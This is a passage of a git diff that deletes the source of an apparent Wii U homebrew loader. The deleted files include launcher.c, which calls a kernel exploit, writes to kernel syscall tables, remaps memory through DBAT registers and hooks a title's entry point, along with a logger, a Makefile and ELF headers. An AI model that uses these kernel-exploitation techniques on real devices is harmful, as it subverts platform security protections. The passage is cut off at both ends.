Arbitrary read and write syscalls */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr); -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); - -#endif /* KEXPLOIT_H */ diff --git a/dsrom/hbl_loader/launcher.c b/dsrom/hbl_loader/launcher.c deleted file mode 100644 index a8acfd4..0000000 --- a/dsrom/hbl_loader/launcher.c +++ /dev/null @@ -1,398 +0,0 @@ -#include "types.h" -#include "elf_abi.h" -#include "kexploit.h" -#include "structs.h" -#include "sd_loader.h" -#include "coreinit.h" - -#define MEM_BASE 0xC0800000 -#include "common.h" -#include "os_defs.h" - -//! this shouldnt depend on OS -#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 -#define CODE_RW_BASE_OFFSET 0xC0000000 -#define DATA_RW_BASE_OFFSET 0xC0000000 - -#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 -#define ADDRESS_main_entry_hook 0x0101C56C - -#define ROOTRPX_DBAT0U_VAL 0xC00003FF -#define COREINIT_DBAT0U_VAL 0xC20001FF - -#define ROOTRPX_DBAT0L_VAL 0x30000012 -#define COREINIT_DBAT0L_VAL 0x32000012 - -#define address_LiWaitIopComplete 0x01010180 -#define address_LiWaitIopCompleteWithInterrupts 0x0101006C -#define address_LiWaitOneChunk 0x0100080C -#define address_PrepareTitle_hook 0xFFF184E4 -#define address_sgIsLoadingBuffer 0xEFE19E80 -#define address_gDynloadInitialized 0xEFE13DBC - -/* Install functions */ -static void InstallMain(private_data_t *private_data); -static void InstallPatches(private_data_t *private_data); -static void PrepareScreen(private_data_t *private_data); -static void ExitFailure(private_data_t *private_data, const char *failure); - -static void SetupKernelSyscall(unsigned int addr); -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - -/* assembly functions */ -extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); -extern void Syscall_0x36(void); -extern void KernelPatches(void); - -/* ****************************************************************** */ -/* ENTRY POINT */ -/* ****************************************************************** */ -void __main(void) -{ - /* Get coreinit handle and keep it in memory */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* Get our memory functions */ - unsigned int* functionPointer; - void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); - - private_data_t private_data; - p_memset(&private_data, 0, sizeof(private_data_t)); - - private_data.coreinit_handle = coreinit_handle; - private_data.memset = p_memset; - private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); - private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); - private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; - - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); - - /* do kernel exploit if needed */ - if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) - run_kexploit(&private_data); - - /* Since we inited GX2 without initing the screen before do that now */ - /* Without this the hbl load will have some screen corruptions */ - PrepareScreen(&private_data); - - /* Do SYSLaunchMiiStudio to boot HBL */ - unsigned int sysapp_handle; - void (*SYSLaunchMiiStudio)(void) = 0; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMiiStudio", &SYSLaunchMiiStudio); - SYSLaunchMiiStudio(); - - /* setup kernel copy data syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData); - - /* Install our code now */ - InstallMain(&private_data); - - /* setup our own syscall and call it */ - SetupKernelSyscall((unsigned int)KernelPatches); - Syscall_0x36(); - - /* Patch functions and our code for usage */ - InstallPatches(&private_data); - - /* Exit our core 0 thread to return to main */ - void (*OSExitThread)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSExitThread(0); -} - -void PrepareScreen(private_data_t *private_data) -{ - // Prepare screen - void (*OSScreenInit)(); - unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - - // Prepare screen - int screen_buf0_size = 0; - int screen_buf1_size = 0; - unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; - - // Init screen and screen buffers - OSScreenInit(); - screen_buf0_size = OSScreenGetBufferSizeEx(0); - screen_buf1_size = OSScreenGetBufferSizeEx(1); - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); - - // Clear screens - OSScreenClearBufferEx(0, screen_color); - OSScreenClearBufferEx(1, screen_color); - - // Flush the cache - private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); - private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); - - // Flip buffers - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); -} - -void ExitFailure(private_data_t *private_data, const char *failure) -{ - /************************************************************************/ - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - OSScreenPutFontEx(1, 0, 0, failure); - - OSScreenFlipBuffersEx(1); - OSScreenClearBufferEx(1, 0); - - unsigned int t1 = 0x3FFFFFFF; - while(t1--) asm volatile("nop"); - - private_data->_Exit(0); -} - -/* ***************************************************************************** - * Base functions - * ****************************************************************************/ -static void SetupKernelSyscall(unsigned int address) -{ - // Add syscall #0x36 - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address); - - // make kern_read/kern_write available in all places - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section - */ - register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; - // setup mapping based on target address - if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address - { - target_dbat0u = ROOTRPX_DBAT0U_VAL; - target_dbat0l = ROOTRPX_DBAT0L_VAL; - } - else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) - { - target_dbat0u = COREINIT_DBAT0U_VAL; - target_dbat0l = COREINIT_DBAT0L_VAL; - } - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); - asm volatile("eieio; isync"); - - unsigned char *src_p = (unsigned char*)src; - unsigned char *dst_p = (unsigned char*)addr; - - unsigned int i; - for(i = 0; i < len; i++) - { - dst_p[i] = src_p[i]; - } - - unsigned int flushAddr = addr & ~31; - - while(flushAddr < (addr + len)) - { - asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); - flushAddr += 0x20; - } - - /* - * Restore original DBAT value - */ - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("eieio; isync"); -} - -static int strcmp(const char *s1, const char *s2) -{ - while(*s1 && *s2) - { - if(*s1 != *s2) { - return -1; - } - s1++; - s2++; - } - - if(*s1 != *s2) { - return -1; - } - return 0; -} - -static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - if(fail_on_not_found) - ExitFailure(private_data, (char*)name); - - return 0; -} - -/* ****************************************************************** */ -/* INSTALL MAIN CODE */ -/* ****************************************************************** */ -static void InstallMain(private_data_t *private_data) -{ - // get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); - unsigned char *main_text = private_data->data_elf + section_offset; - /* Copy main .text to memory */ - if(section_offset > 0) - SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); - - // get the .rodata section - unsigned int main_rodata_addr = 0; - unsigned int main_rodata_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); - if(section_offset > 0) - { - unsigned char *main_rodata = private_data->data_elf + section_offset; - /* Copy main rodata to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); - } - - // get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); - if(section_offset > 0) - { - unsigned char *main_data = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); - } - - // get the .bss section - unsigned int main_bss_addr = 0; - unsigned int main_bss_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); - if(section_offset > 0) - { - unsigned char *main_bss = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); - } -} - -/* ****************************************************************** */ -/* INSTALL PATCHES */ -/* All OS specific stuff is done here */ -/* ****************************************************************** */ -static void InstallPatches(private_data_t *private_data) -{ - OsSpecifics osSpecificFunctions; - private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); - - unsigned int bufferU32; - /* Pre-setup a few options to defined values */ - bufferU32 = VER; - SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0xDEADC0DE; - SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); - SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0; - SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); - /* Related to sd-loader elf choice */ - SC_0x25_KernelCopyData((void*)SD_LOADER_PATH, (void*)0xF5E70000, 250); - SC_0x25_KernelCopyData((void*)&SD_LOADER_FORCE_HBL, &bufferU32, sizeof(bufferU32)); - - unsigned int jump_main_hook = 0; - osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - - osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - - osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; - osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; - osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; - osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; - osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; - osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; - osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; - - //! pointer to main entry point of a title - osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); - - //! at this point we dont need to check header and stuff as it is sure to be OK - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - unsigned int mainEntryPoint = ehdr->e_entry; - - //! Install our entry point hook - unsigned int repl_addr = ADDRESS_main_entry_hook; - unsigned int jump_addr = mainEntryPoint & 0x03fffffc; - bufferU32 = 0x48000003 | jump_addr; - SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); - // flush caches and invalidate instruction cache - private_data->ICInvalidateRange((void*)(repl_addr), 4); -} diff --git a/dsrom/hbl_loader/logger.c b/dsrom/hbl_loader/logger.c deleted file mode 100644 index 7873ffd..0000000 --- a/dsrom/hbl_loader/logger.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include -#include "common/common.h" -#include "dynamic_libs/socket_functions.h" -#include "logger.h" - -static int log_socket = 0; - - -void log_init(void) -{ - if(log_socket > 0) - return; - - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; - - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton("192.168.0.44", &connect_addr.sin_addr); - - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ - // socket is always 0 initially as it is in the BSS - if(log_socket <= 0) { - log_init(); - return; - } - - int len = strlen(str); - int ret; - while (len > 0) { - ret = send(log_socket, str, len, 0); - if(ret < 0) - return; - - len -= ret; - str += ret; - } -} - -void log_printf(const char *format, ...) -{ - if(log_socket <= 0) { - log_init(); - return; - } - - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); -} diff --git a/dsrom/hbl_loader/logger.h b/dsrom/hbl_loader/logger.h deleted file mode 100644 index 5f602fb..0000000 --- a/dsrom/hbl_loader/logger.h +++ /dev/null @@ -1,86 +0,0 @@ -#ifndef __LOGGER_H_ -#define __LOGGER_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -/* Communication bytes with the server */ -// Com -#define BYTE_NORMAL 0xff -#define BYTE_SPECIAL 0xfe -#define BYTE_OK 0xfd -#define BYTE_PING 0xfc -#define BYTE_LOG_STR 0xfb -#define BYTE_DISCONNECT 0xfa - -// SD -#define BYTE_MOUNT_SD 0xe0 -#define BYTE_MOUNT_SD_OK 0xe1 -#define BYTE_MOUNT_SD_BAD 0xe2 - -// Replacement -#define BYTE_STAT 0x00 -#define BYTE_STAT_ASYNC 0x01 -#define BYTE_OPEN_FILE 0x02 -#define BYTE_OPEN_FILE_ASYNC 0x03 -#define BYTE_OPEN_DIR 0x04 -#define BYTE_OPEN_DIR_ASYNC 0x05 -#define BYTE_CHANGE_DIR 0x06 -#define BYTE_CHANGE_DIR_ASYNC 0x07 -#define BYTE_MAKE_DIR 0x08 -#define BYTE_MAKE_DIR_ASYNC 0x09 -#define BYTE_RENAME 0x0A -#define BYTE_RENAME_ASYNC 0x0B -#define BYTE_REMOVE 0x0C -#define BYTE_REMOVE_ASYNC 0x0D - -// Log -#define BYTE_CLOSE_FILE 0x40 -#define BYTE_CLOSE_FILE_ASYNC 0x41 -#define BYTE_CLOSE_DIR 0x42 -#define BYTE_CLOSE_DIR_ASYNC 0x43 -#define BYTE_FLUSH_FILE 0x44 -#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 -#define BYTE_GET_LAST_ERROR 0x46 -#define BYTE_GET_MOUNT_SOURCE 0x47 -#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 -#define BYTE_GET_POS_FILE 0x49 -#define BYTE_SET_POS_FILE 0x4A -#define BYTE_GET_STAT_FILE 0x4B -#define BYTE_EOF 0x4C -#define BYTE_READ_FILE 0x4D -#define BYTE_READ_FILE_ASYNC 0x4E -#define BYTE_READ_FILE_WITH_POS 0x4F -#define BYTE_READ_DIR 0x50 -#define BYTE_READ_DIR_ASYNC 0x51 -#define BYTE_GET_CWD 0x52 -#define BYTE_SET_STATE_CHG_NOTIF 0x53 -#define BYTE_TRUNCATE_FILE 0x54 -#define BYTE_WRITE_FILE 0x55 -#define BYTE_WRITE_FILE_WITH_POS 0x56 - -#define BYTE_SAVE_INIT 0x57 -#define BYTE_SAVE_SHUTDOWN 0x58 -#define BYTE_SAVE_INIT_SAVE_DIR 0x59 -#define BYTE_SAVE_FLUSH_QUOTA 0x5A -#define BYTE_SAVE_OPEN_DIR 0x5B -#define BYTE_SAVE_REMOVE 0x5C - -#define BYTE_CREATE_THREAD 0x60 - - -int logger_connect(int *socket); -void logger_disconnect(int socket); -void log_string(int sock, const char* str, char byte); -void log_byte(int sock, char byte); - -void log_init(void); -void log_print(const char *str); -void log_printf(const char *format, ...); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/dsrom/hbl_loader/os_defs.h b/dsrom/hbl_loader/os_defs.h deleted file mode 100644 index b92c527..0000000 --- a/dsrom/hbl_loader/os_defs.h +++ /dev/null @@ -1,40 +0,0 @@ -#ifndef __OS_DEFS_H_ -#define __OS_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _OsSpecifics -{ - unsigned int addr_OSDynLoad_Acquire; - unsigned int addr_OSDynLoad_FindExport; - unsigned int addr_OSTitle_main_entry; - - unsigned int addr_KernSyscallTbl1; - unsigned int addr_KernSyscallTbl2; - unsigned int addr_KernSyscallTbl3; - unsigned int addr_KernSyscallTbl4; - unsigned int addr_KernSyscallTbl5; - - int (*LiWaitIopComplete)(int, int *); - int (*LiWaitIopCompleteWithInterrupts)(int, int *); - unsigned int addr_LiWaitOneChunk; - unsigned int addr_PrepareTitle_hook; - unsigned int addr_sgIsLoadingBuffer; - unsigned int addr_gDynloadInitialized; - unsigned int orig_LiWaitOneChunkInstr; -} OsSpecifics; - -typedef struct _s_mem_area -{ - unsigned int address; - unsigned int size; - struct _s_mem_area* next; -} s_mem_area; - -#ifdef __cplusplus -} -#endif - -#endif // __OS_DEFS_H_ diff --git a/dsrom/hbl_loader/sd_loader/Makefile b/dsrom/hbl_loader/sd_loader/Makefile deleted file mode 100644 index 1f8cf29..0000000 --- a/dsrom/hbl_loader/sd_loader/Makefile +++ /dev/null @@ -1,178 +0,0 @@ -#--------------------------------------------------------------------------------- -# Clear the implicit built in rules -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") -endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii -export PORTLIBS := $(DEVKITPRO)/portlibs/ppc - -PREFIX := powerpc-eabi- - -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := sd_loader -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src -DATA := -INCLUDES := - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ - -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,--gc-sections -Xlinker -Map=fuck.map - -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) - -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) -else - export LD := $(CXX) -endif - -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 - -#--------------------------------------------------------------------------------- -# build a list of library paths -#--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib - -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install - -#--------------------------------------------------------------------------------- -$(BUILD): - @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) - -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ - -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.png.o : %.png - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - -#--------------------------------------------------------------------------------- -%.ttf.o : %.ttf - @echo $(notdir $<) - @bin2s -a 32 $< | $(AS) -o $(@) - --include $(DEPENDS) - -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- diff --git a/dsrom/hbl_loader/sd_loader/include/stdint.h b/dsrom/hbl_loader/sd_loader/include/stdint.h deleted file mode 100644 index fff483d..0000000 --- a/dsrom/hbl_loader/sd_loader/include/stdint.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef _STDINT_WRAP_H -#define _STDINT_WRAP_H - -#define int32_t dontcare_int32_t -#define uint32_t dontcare_uint32_t - -#include_next - -#undef int32_t -#undef uint32_t - -typedef signed int int32_t; -typedef unsigned int uint32_t; - -#endif \ No newline at end of file diff --git a/dsrom/hbl_loader/sd_loader/src/crt0.S b/dsrom/hbl_loader/sd_loader/src/crt0.S deleted file mode 100644 index c803619..0000000 --- a/dsrom/hbl_loader/sd_loader/src/crt0.S +++ /dev/null @@ -1,20 +0,0 @@ - - .extern _main - .globl _start - -_start: - mflr 0 - stwu 1,-0x18(1) - stw 0,0x1C(1) - stw 3,8(1) - stw 4,0xC(1) - # jump to our main - bl _main - # launch original title - mtctr 3 - lwz 3,8(1) - lwz 4,0xC(1) - lwz 0,0x1C(1) - mtlr 0 - addi 1,1,0x18 - bctr diff --git a/dsrom/hbl_loader/sd_loader/src/elf_abi.h b/dsrom/hbl_loader/sd_loader/src/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/hbl_loader/sd_loader/src/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * 